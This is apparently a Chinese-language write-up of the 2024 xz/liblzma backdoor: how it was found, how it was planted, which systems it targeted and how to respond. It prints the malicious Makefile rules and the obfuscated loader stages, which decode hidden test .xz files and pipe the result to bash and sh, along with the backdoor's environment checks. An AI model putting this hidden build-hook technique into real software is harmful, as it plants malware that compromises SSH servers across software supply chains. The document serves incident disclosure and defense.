上游 xz/liblzma 仓库及发布包被植入后门，影响 SSH 服务器，引发供应链安全危机。

事件概述

2024 年 3 月 29 日，Andres Freund 在 oss-security 邮件列表上披露了一个震惊安全界的发现：用于数据压缩的 xz/liblzma 库的上游仓库和发布 tarball 被植入了后门，该后门专门针对 SSH 服务器（sshd）进行攻击。这一事件迅速成为 Hacker News 热门话题，获得 4549 分和 1849 条评论。

发现过程

Andres Freund 在 Debian sid 安装环境中观察到几个异常症状：

• SSH 登录消耗大量 CPU 资源
• valgrind（内存调试工具）报告错误

这些症状持续数周后，他最终定位到问题根源：上游 xz 仓库和 tarball 已被植入后门。起初他怀疑是 Debian 包被篡改，但最终确认是上游代码遭到恶意修改。

后门植入方式

1. 发布 tarball 中的恶意脚本

后门的一部分仅存在于发布的 tarball 中（版本 5.6.0 和 5.6.1），而 GitHub 上的源码仓库（直接由仓库内容生成）中并不包含。关键恶意代码位于 m4/build-to-host.m4 文件中的一行：

m4

该行在 git 仓库中不存在，但存在于发布的 tarball 中

该脚本在 configure 执行结束时被注入并运行。脚本经过高度混淆，其数据来自仓库中的 "test" .xz 文件。

2. 混淆脚本的工作流程

脚本执行后，会修改 $builddir/src/liblzma/Makefile，添加恶意规则：

makefile
am__test = bad-3-corrupt_lzma2.xz
am__test_dir = $(top_srcdir)/tests/files/$(am__test)
sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1

最终执行命令为：

bash
sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz | tr " -_" " _-" | xz -d | /bin/bash >/dev/null 2>&1

去掉 | bash 后，实际执行的混淆代码为：

bash
####Hello####
#��Z�.hj�
eval grep ^srcdir= config.status
if test -f ../../config.status;then eval grep ^srcdir= ../../config.status; srcdir="../../$srcdir"; fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ..."
(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
####World####

这段代码通过一系列 head/tail 操作从 good-large_compressed.lzma 中提取隐藏数据，经过字符替换和二次解压后，交给 /bin/sh 执行。最终解出的恶意代码（injected.txt）被附加在邮件中。

3. 仓库中的恶意文件

包含主要漏洞利用代码的文件以混淆形式提交在 tests/files/ 目录下：

• bad-3-corrupt_lzma2.xz
• good-large_compressed.lzma

这些文件在 5.6.0 版本中并未用于任何测试，首次出现于 commit cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0。

漏洞利用代码的调整与修复尝试

由于注入代码与预期堆栈布局不符，在某些配置下会导致 valgrind 错误和崩溃。攻击者在 5.6.1 版本中尝试修复这些问题，并同步调整了漏洞利用代码：

• 修复提交：
  • e5faaebbcf02ea880cfc56edc702d4f7298788ad
  • 72d2933bfae514e0dbb123488e9f1eb7cf64175f
  • 82ecc538193b380a21622aea02b0ba078e7ade92
• 漏洞代码调整：
  • 6e636819e8f070330d835fce46289a3ff72a7b89

这种持续数周的活跃修改表明，提交者要么直接参与攻击，要么其系统遭到严重入侵。鉴于提交者在各种邮件列表中讨论上述“修复”，后者可能性较低。

受影响系统与攻击条件

去混淆后的脚本在 configure 后首先检查是否满足特定条件，只有满足所有条件才会注入恶意代码：

1. 目标架构：仅针对 x86-64 Linux
   bash
   if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1); then

2. 编译器：必须使用 gcc 和 GNU 链接器
   bash
   if test "x$GCC" != 'xyes' > /dev/null 2>&1; then exit 0; fi
   if test "x$CC" != 'xgcc' > /dev/null 2>&1; then exit 0; fi
   LDv=$LD" -v"
   if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1; then exit 0; fi

3. 构建环境：必须是 Debian 或 RPM 包构建
   bash
   if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64"; then

   这一条件尤其旨在增加调查者的复现难度。

4. 系统库：由于注入代码的工作方式，后门只能影响基于 glibc 的系统。

幸运的是，xz 5.6.0 和 5.6.1 尚未被多数 Linux 发行版广泛集成，即便集成也多在预发布版本中。

对 OpenSSH 服务器的实际影响

安装了带后门的 liblzma 后，SSH 登录变得明显缓慢。Andres Freund 的测试数据：

之前（未受影响）：

real 0m0.299s
user 0m0.202s
sys 0m0.006s

之后（受影响）：

real 0m0.807s
user 0m0.202s
sys 0m0.006s

OpenSSH 并不直接使用 liblzma，但 Debian 和其他发行版会打补丁使其支持 systemd 通知，而 libsystemd 依赖 lzma。

有趣的是，在 systemd 之外启动 sshd 时，并未观察到性能下降，尽管后门代码确实被短暂调用。这可能是攻击者故意设计的反分析措施。

漏洞利用的触发条件

观察到的漏洞利用必要条件：

• a) 未设置 TERM 环境变量
• b) argv[0] 必须是 /usr/sbin/sshd
• c) 未设置 LD_DEBUG、LD_PROFILE
• d) 必须设置 LANG
• e) 检测到某些调试环境（如 rr），gdb 在某些情况下会被检测到

在 systemd 外复现：
bash
env -i LANG=en_US.UTF-8 /usr/sbin/sshd -D

实际上，无需启动 sshd 服务器，仅执行帮助命令即可观察到性能下降：
bash
env -i LANG=C /usr/sbin/sshd -h

（大约需要 0.5 秒）

技术分析

Florian Weimer 首先提取了隔离的注入代码（liblzma_la-crc64-fast.o），而 Andres Freund 最初只观察了整个二进制文件。

后门的工作原理是：通过修改 liblzma 的 Makefile，在构建过程中将恶意对象文件链接到 liblzma 库中。当 sshd 通过 libsystemd 间接调用 liblzma 时，恶意代码得以执行，可能实现远程代码执行、权限提升或凭据窃取等攻击。

供应链安全警示

这一事件再次凸显了供应链安全的脆弱性。一个被广泛使用的压缩库，通过精心构造的 tarball 和混淆代码，就能威胁到全球 SSH 服务器的安全。攻击者展现了高超的技术能力：

• 混淆代码嵌入 .xz 测试文件
• 仅在特定构建条件下激活
• 针对特定架构和发行版
• 规避常见调试工具

建议与应对

• 立即检查系统是否安装了 xz 5.6.0/5.6.1，并降级到安全版本（如 5.4.x）
• 验证软件包完整性，关注发行版安全公告
• 对于开源项目，加强代码审查和 CI/CD 安全
• 考虑使用软件供应链安全工具（如 SLSA、sigstore）

参考链接

原始 oss-security 邮件